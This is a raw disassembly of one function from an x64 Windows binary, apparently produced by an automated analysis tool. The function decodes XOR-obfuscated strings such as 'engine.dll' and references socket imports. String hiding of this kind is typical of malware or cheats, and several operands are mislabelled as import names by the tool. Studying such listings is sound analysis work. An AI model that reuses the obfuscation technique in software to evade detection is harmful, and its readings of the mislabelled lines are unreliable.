Function at 0x140013b60
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x1401c1280]
xor rax, rsp
mov qword [rbp], rax
xor r14d, r14d
lea rcx, [rbp - 0x10]
call fcn.140013910
nop
call fcn.140006dd0
lea rcx, [rsp + 0x20]
call fcn.140002120
movabs r8, 0x7fffffffe2329aff
mov rax, qword [rsp + 0x20]
cmp rax, r8
je 0x140013bdb
mov ecx, 1
mov edx, 0xff
cmovl ecx, edx
test cl, cl
jns 0x140013bdb
add rax, 0x1dcd6500
jmp 0x140013be5
movabs rax, 0x7fffffffffffffff
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x20]
call fcn.140003e10
mov byte [rsp + 0x20], reloc.WS2_32.dll_WSACleanup
mov al, select
mov cl, 0x1a
mov dl, reloc.WS2_32.dll_send
mov r8b, 0x1d
movzx r9d, cl
movzx r10d, al
mov r11b, 0x5a
mov bl, reloc.WS2_32.dll_recv
mov dil, 0x18
movzx esi, dil
xor r15d, r15d
xor al, 0x74
mov byte [rsp + 0x21], al
xor cl, 0x74
mov byte [rsp + 0x22], cl
xor dl, 0x74
mov byte [rsp + 0x23], dl
xor r8b, 0x74
mov byte [rsp + 0x24], r8b
xor r9b, 0x74
mov byte [rsp + 0x25], r9b
xor r10b, 0x74
mov byte [rsp + 0x26], r10b
xor r11b, 0x74
mov byte [rsp + 0x27], r11b
xor bl, 0x74
mov byte [rsp + 0x28], bl
xor dil, 0x74
mov byte [rsp + 0x29], dil
xor sil, 0x74
mov byte [rsp + 0x2a], sil
mov byte [rsp + 0x2b], r15b
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea rax, [rsp + 0x21]
mov r13, 0xffffffffffffffff
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x140013c90
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x50]
call fcn.140003a20
nop
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rcx, qword [rbp - 0x50]
call fcn.14000e900
mov rsi, rax
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140013cf9
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013cf4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014635
call fcn.140023e14
movdqa xmm0, xmmword [0x1401aff30]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
test rsi, rsi
jne 0x140014168
mov byte [rsp + 0x20], 0x4c
mov al, 0x29
mov cl, 0x22
mov dl, 0x2b
mov r8b, 0x25
movzx r9d, cl
movzx r10d, al
mov r11b, 0x62
mov bl, 0x28
mov dil, 0x20
movzx esi, dil
xor r14d, r14d
xor al, 0x4c
mov byte [rsp + 0x21], al
xor cl, 0x4c
mov byte [rsp + 0x22], cl
xor dl, 0x4c
mov byte [rsp + 0x23], dl
xor r8b, 0x4c
mov byte [rsp + 0x24], r8b
xor r9b, 0x4c
mov byte [rsp + 0x25], r9b
xor r10b, 0x4c
mov byte [rsp + 0x26], r10b
xor r11b, 0x4c
mov byte [rsp + 0x27], r11b
xor bl, 0x4c
mov byte [rsp + 0x28], bl
xor dil, 0x4c
mov byte [rsp + 0x29], dil
xor sil, 0x4c
mov byte [rsp + 0x2a], sil
mov byte [rsp + 0x2b], r14b
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea rax, [rsp + 0x21]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x140013da5
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x50]
call fcn.140003a20
nop
movdqa xmm1, xmmword [0x1401aff90]
movdqu xmmword [rsp + 0x38], xmm1
movdqa xmm2, xmmword [0x1401b0010]
movdqu xmmword [rsp + 0x48], xmm2
mov cl, 0x19
mov dl, 0x18
mov r9b, 0x5c
mov r10b, 0x1e
movzx r11d, cl
mov bl, 0x1f
mov dil, 0x1d
mov sil, 9
mov r14b, recv
movzx r15d, cl
movzx r12d, r9b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r8d, xmm1
xor al, r8b
mov byte [rsp + 0x39], al
xor byte [rsp + 0x3a], r8b
xor byte [rsp + 0x3b], r8b
xor byte [rsp + 0x3c], r8b
xor byte [rsp + 0x3d], r8b
xor byte [rsp + 0x3e], r8b
xor byte [rsp + 0x3f], r8b
xor byte [rsp + 0x40], r8b
xor byte [rsp + 0x41], r8b
xor byte [rsp + 0x42], r8b
xor byte [rsp + 0x43], r8b
xor byte [rsp + 0x44], r8b
xor byte [rsp + 0x45], r8b
xor byte [rsp + 0x46], r8b
xor byte [rsp + 0x47], r8b
movd eax, xmm2
xor al, r8b
mov byte [rsp + 0x48], al
xor byte [rsp + 0x49], r8b
xor byte [rsp + 0x4a], r8b
xor byte [rsp + 0x4b], r8b
xor byte [rsp + 0x4c], r8b
xor byte [rsp + 0x4d], r8b
xor byte [rsp + 0x4e], r8b
xor byte [rsp + 0x4f], r8b
xor byte [rsp + 0x50], r8b
xor byte [rsp + 0x51], r8b
xor byte [rsp + 0x52], r8b
xor byte [rsp + 0x53], r8b
xor byte [rsp + 0x54], r8b
xor byte [rsp + 0x55], r8b
xor byte [rsp + 0x56], r8b
xor byte [rsp + 0x57], r8b
xor cl, r8b
mov byte [rsp + 0x58], cl
xor dl, r8b
mov byte [rsp + 0x59], dl
xor r9b, r8b
mov byte [rsp + 0x5a], r9b
xor r10b, r8b
mov byte [rsp + 0x5b], r10b
xor r11b, r8b
mov byte [rsp + 0x5c], r11b
xor bl, r8b
mov byte [rsp + 0x5d], bl
xor dil, r8b
mov byte [rsp + 0x5e], dil
xor sil, r8b
mov byte [rsp + 0x5f], sil
xor r14b, r8b
mov byte [rsp + 0x60], r14b
xor r15b, r8b
mov byte [rsp + 0x61], r15b
xor r12b, r8b
mov byte [rsp + 0x62], r12b
mov byte [rsp + 0x63], 0
lea r8, [rbp - 0x50]
lea rdx, [rsp + 0x39]
lea rcx, [rbp - 0x30]
call fcn.1400038f0
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140013f57
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013f52
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001463b
call fcn.140023e14
movdqa xmm0, xmmword [0x1401aff30]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
movdqa xmm1, xmmword [0x1401b0030]
movdqu xmmword [rsp + 0x20], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x21], al
xor byte [rsp + 0x22], cl
xor byte [rsp + 0x23], cl
xor byte [rsp + 0x24], cl
xor byte [rsp + 0x25], cl
xor byte [rsp + 0x26], cl
xor byte [rsp + 0x27], cl
xor byte [rsp + 0x28], cl
xor byte [rsp + 0x29], cl
xor byte [rsp + 0x2a], cl
xor byte [rsp + 0x2b], cl
xor byte [rsp + 0x2c], cl
xor byte [rsp + 0x2d], cl
xor byte [rsp + 0x2e], cl
xor byte [rsp + 0x2f], cl
mov byte [rsp + 0x30], 0
lea rax, [rsp + 0x21]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140013fd2
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x30]
call fcn.140003610
movdqa xmm1, xmmword [0x1401b0210]
movdqu xmmword [rsp + 0x38], xmm1
movdqa xmm2, xmmword [0x1401b0200]
movdqu xmmword [rsp + 0x48], xmm2
movdqa xmm3, xmmword [0x1401b0040]
movdqu xmmword [rsp + 0x58], xmm3
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x39], al
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor byte [rsp + 0x40], cl
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x48], al
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor byte [rsp + 0x50], cl
xor byte [rsp + 0x51], cl
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
movd eax, xmm3
xor al, cl
mov byte [rsp + 0x58], al
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
xor byte [rsp + 0x60], cl
xor byte [rsp + 0x61], cl
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
mov byte [rsp + 0x68], 0
lea rax, [rsp + 0x39]
nop dword [rax]
inc r13
cmp byte [rax + r13], 0
jne 0x140014100
mov r8, r13
lea rdx, [rsp + 0x39]
lea rcx, [rbp - 0x30]
call fcn.140003610
lea rcx, [rbp - 0x30]
call fcn.14000e380
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140014160
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001415b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014641
call fcn.140023e14
xor r14d, r14d
jmp 0x1400145f9
mov byte [rsp + 0x20], 0x7c
mov al, 0xb
mov cl, 5
movzx edx, cl
mov r8b, 0x52
mov r9b, 0x34
mov r10b, 0x2b
movzx r11d, r8b
mov bl, 0x33
movzx edi, al
xor r15d, r15d
xor al, 0x7c
mov byte [rsp + 0x21], al
xor cl, 0x7c
mov byte [rsp + 0x22], cl
xor dl, 0x7c
mov byte [rsp + 0x23], dl
xor r8b, 0x7c
mov byte [rsp + 0x24], r8b
xor r9b, 0x7c
mov byte [rsp + 0x25], r9b
xor r10b, 0x7c
mov byte [rsp + 0x26], r10b
xor r11b, 0x7c
mov byte [rsp + 0x27], r11b
xor bl, 0x7c
mov byte [rsp + 0x28], bl
xor dil, 0x7c
mov byte [rsp + 0x29], dil
mov byte [rsp + 0x2a], r15b
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea rax, [rsp + 0x21]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x1400141f0
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x30]
call fcn.140003a20
nop
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rdx, qword [rbp - 0x30]
mov rcx, rsi
call fcn.14000e3b0
mov rbx, rax
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14001425c
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014257
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014647
call fcn.140023e14
test rbx, rbx
jne 0x1400145f6
movdqa xmm0, xmmword [0x1401b0090]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1401b0070]
movdqu xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x1401b00a0]
movdqu xmmword [rbp - 0x70], xmm0
mov dword [rbp - 0x60], 0x2b7b2832
mov dword [rbp - 0x5c], 0x37393429
mov dword [rbp - 0x58], 0x75363e
mov rcx, r14
nop word [rax + rax]
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x71], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x72], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x73], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x74], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x75], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x76], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x77], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x78], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x79], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7a], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7b], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7c], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7d], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7e], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7f], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x80], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7f], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7e], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7d], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7c], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7b], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7a], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x79], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x78], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x77], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x76], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x75], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x74], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x73], al
add rcx, 0x1d
cmp rcx, 0x3a
jb 0x1400142b0
mov byte [rbp - 0x55], 0
mov byte [rsp + 0x20], 2
mov al, 0x67
mov cl, 0x6c
mov dl, 0x65
mov r8b, 0x6b
movzx r9d, cl
movzx r10d, al
mov r11b, 0x2c
mov bl, 0x66
mov dil, WSAGetLastError
movzx esi, dil
xor r15d, r15d
xor al, 2
mov byte [rsp + 0x21], al
xor cl, 2
mov byte [rsp + 0x22], cl
xor dl, 2
mov byte [rsp + 0x23], dl
xor r8b, 2
mov byte [rsp + 0x24], r8b
xor r9b, 2
mov byte [rsp + 0x25], r9b
xor r10b, 2
mov byte [rsp + 0x26], r10b
xor r11b, 2
mov byte [rsp + 0x27], r11b
xor bl, 2
mov byte [rsp + 0x28], bl
xor dil, 2
mov byte [rsp + 0x29], dil
xor sil, 2
mov byte [rsp + 0x2a], sil
mov byte [rsp + 0x2b], r15b
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea rax, [rsp + 0x21]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x140014460
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x30]
call fcn.140003a20
nop
mov byte [rsp + 0x20], 0x2c
mov al, 0x6a
mov cl, 0x45
mov dl, 0x40
mov r8b, 0x49
mov r9b, 0xc
xor r10d, r10d
xor al, 0x2c
mov byte [rsp + 0x21], al
xor cl, 0x2c
mov byte [rsp + 0x22], cl
xor dl, 0x2c
mov byte [rsp + 0x23], dl
xor r8b, 0x2c
mov byte [rsp + 0x24], r8b
xor r9b, 0x2c
mov byte [rsp + 0x25], r9b
mov byte [rsp + 0x26], r10b
lea r8, [rbp - 0x30]
lea rdx, [rsp + 0x21]
lea rcx, [rsp + 0x38]
call fcn.1400038f0
nop
lea rcx, [rsp + 0x71]
inc r13
cmp byte [rcx + r13], 0
jne 0x1400144d0
mov r8, r13
lea rdx, [rsp + 0x71]
mov rcx, rax
call fcn.140003610
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], shutdown
mov byte [rax], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140014554
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001454f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001464d
call fcn.140023e14
movdqa xmm0, xmmword [0x1401aff30]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x1400145a2
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001459d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014653
call fcn.140023e14
movdqa xmm0, xmmword [0x1401aff30]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
lea rcx, [rbp - 0x50]
call fcn.14000e380
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x1400145f9
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400145ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014659
call fcn.140023e14
jmp 0x1400145f9
mov r14, rbx
cmp dword [rbp - 8], 0
jne 0x14001462f
mov rax, r14
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.140023a50
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14002a790
nop
call fcn.14002abc8
nop
call fcn.14002abc8
nop
call fcn.14002abc8
int3
call fcn.14002abc8
nop
call fcn.14002abc8
nop
call fcn.14002abc8
nop
call fcn.14002abc8
int3